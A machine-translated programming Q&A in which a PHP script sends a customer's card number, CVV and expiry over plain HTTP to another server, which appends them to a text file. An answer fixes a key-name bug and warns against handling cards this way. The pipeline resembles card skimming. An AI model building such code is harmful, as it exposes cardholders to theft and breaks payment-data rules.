2012-12-12 93 views
0

我在這個腳本中遇到問題。我面臨的問題是當我發送大量的數據像cc_no = 3654785698568這樣的變量時,我在文本文件上空白處檢查它。其他變量工作正常。使用php通過curl發送發佈數據

session_set_cookie_params(0); 
session_start(); 


echo $cc_name = $_SESSION['card_name']; 
echo $cc_no = $_SESSION['card_no']; 
echo $cc_cvv2 = $_SESSION['cvv2']; 
echo $cc_expiry = $_SESSION['expiry']; 

$ch = curl_init(); 

curl_setopt($ch, CURLOPT_URL,"http://example.com/db/get.php"); 
curl_setopt($ch, CURLOPT_POST, 1); 
curl_setopt($ch, CURLOPT_POSTFIELDS, 
      "cc_name=$cc_name&cc_no=$cc_no&cc_cvv2=$cc_cvv2&cc_expiry=$cc_expiry"); 

// receive server response ... 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 

$server_output = curl_exec ($ch); 

curl_close ($ch); 

捕獲其他服務器上的值的代碼。

<?php 

$fp = fopen("formdata.txt", "a"); 
$cc_name1 = $_POST['cc_name']; 
$cc_no1 = $_POST['card_no']; 
$cc_cvv21 = $_POST['cc_cvv2']; 
$cc_expiry1 = $_POST['cc_expiry']; 

$data = "$cc_name1 | $cc_no1 | $cc_cvv21 | $cc_expiry1 \n"; 

fwrite($fp, $data); 
fclose($fp); 

?> 
+1

數據庫設置爲什麼字段? – vodich

+0

db列配置如何? – jtheman

+0

像首先我試圖存儲在txt文件中的值,看看是否所有的代碼工作,但我輸入cc_no時空白。它與db atm –

回答

2
$cc_no1 = $_POST['card_no']; 

應該是:

$cc_no1 = $_POST['cc_no']; 

編輯:

我真的希望這僅僅是爲了學習。不應該以這種方式處理CC,特別是在標準的http上。

+0

非常感謝!我不敢相信我犯了這樣一個愚蠢的錯誤。我可以編碼通過curl發送的值嗎? –

+1

如果你真的想處理信用卡,你需要遵循規則/指導方針。無法幫助你的具體情況,但是:加密是必要的,所以通過安全,可信的連接進行傳輸。 – Alasjo